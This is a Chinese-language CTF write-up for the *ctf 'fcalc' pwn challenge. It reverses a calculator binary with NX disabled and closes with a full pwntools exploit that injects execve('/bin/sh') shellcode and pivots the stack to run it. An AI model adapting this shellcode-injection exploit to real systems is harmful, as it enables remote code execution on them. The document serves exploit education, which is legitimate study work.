比赛名应该是*ctf 但是由于我hexo框架不能命名为 * 所以只能叫星了
fcalc#

没有开启NX保护 第一反应就是要打shellcode
void __fastcall __noreturn main(int a1, char **a2, char **a3){ void *v3; // rsp void *v4; // rsp double *v5; // rbx int v6; // [rsp+14h] [rbp-44h] BYREF int i; // [rsp+18h] [rbp-40h] int j; // [rsp+1Ch] [rbp-3Ch] double *v9; // [rsp+20h] [rbp-38h] void *s; // [rsp+28h] [rbp-30h] void *buf; // [rsp+30h] [rbp-28h] double v12; // [rsp+38h] [rbp-20h] unsigned __int64 v13; // [rsp+40h] [rbp-18h]
v13 = __readfsqword(0x28u); v3 = alloca(400LL); s = (16 * ((&v6 + 3) >> 4)); v4 = alloca(64LL); buf = s; memset(s, 0, 0x180uLL); memset(buf, 0, 0x30uLL); qword_40E0 = s; dword_4010 = 0; sub_1384(); say(); while ( 1 ) { v6 = read(0, buf, 0x180uLL); if ( v6 > 47 ) v6 = 48; for ( i = 0; i < v6 && *(buf + i) != '\n'; ++i ) { if ( *(buf + i) <= 0x20 || *(buf + i) > 0x30 ) { if ( *(buf + i) > 0x2F && *(buf + i) <= 0x39 ) { if ( dword_4010 > 47 ) { puts("ERROR"); exit(1); } ++dword_4010; v5 = qword_40E0; *v5 = atof(buf + i); qword_40E0 += 8LL; while ( *(buf + i + 1) == 0x2E || *(buf + i + 1) > 0x2F && *(buf + i + 1) <= 0x39 ) ++i; } } else // (0x20,0x30] { if ( dword_4010 <= 1 ) { puts("ERROR"); exit(1); } v9 = s; for ( j = 0; j <= 47; ++j ) { v12 = fabs(*v9); if ( v12 != 0.0 && (v12 < 1.0 || v12 > 100.0) ) { printf("ERROR: %lf\n", v12); exit(1); } ++v9; } (qword_4060[*(buf + i) - 0x20])(); } } if ( s < qword_40E0 ) printf("Result: %lf\n", *(qword_40E0 - 8)); }}首先需要逆向出来和菜单交互的格式 我们需要使得dword_4010大于1 同时还要绕过这两个循环
while ( *(buf + i + 1) == 0x2E || *(buf + i + 1) > 0x2F && *(buf + i + 1) <= 0x39 ) ++i; }for ( j = 0; j <= 47; ++j ) { v12 = fabs(*v9); if ( v12 != 0.0 && (v12 < 1.0 || v12 > 100.0) ) { printf("ERROR: %lf\n", v12); exit(1); } ++v9; }第一个循环 相对来说容易 只需要在对应字符后面加上超出范围的字符即可
第二个循环限制比较大 对0x48个字长的空间都进行了check
随后呢根据输入的字符 取决调用哪个函数
__int64 (__fastcall *sub_1384())(){ __int64 (__fastcall *result)(); // rax
setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); qword_4060[0] = printf_nop; qword_4068 = printf_nop; qword_4070 = printf_nop; qword_4078 = printf_nop; qword_4080 = printf_nop; qword_4088 = printf_nop; qword_4090 = printf_nop; qword_4098 = printf_nop; qword_40A0 = printf_nop; qword_40A8 = printf_nop; qword_40B0 = sub_12BB; qword_40B8 = sub_1208 + 1; qword_40C0 = printf_nop; qword_40C8 = sub_1262; qword_40D0 = printf_nop; result = sub_1314; qword_40D8 = sub_1314; return result;}顺便在main函数的开头 还隐藏着一个buf地址
qword_40E0 = s;我们通过字符’0’就可以实现call buf 这里就存在了shellcode的调用
由于我们刚才说到的check的存在 我们没办法把shellcode放到payload后面 所以需要通过把shellcode写到不会被check的前面 然后控制rsp寄存器再跳转过去
完整exp:
from pwn import*import pwn_pb2io = process("./pwn")#io = remote("47.92.7.93",8802)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
io.recvuntil("Enter your expression:")shellcode = """add rsp,0x10jmp rsp"""payload = b'\x35\x40\x35\x40\x30\x30\x30\x30'+b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"+cyclic(0x21)+p64(0x4014000000000000)*2+asm(shellcode)+b'\x40\x40'# gdb.attach(io,'b *$rebase(0x187a)')# pause(0)io.send(payload)# pause()io.interactive()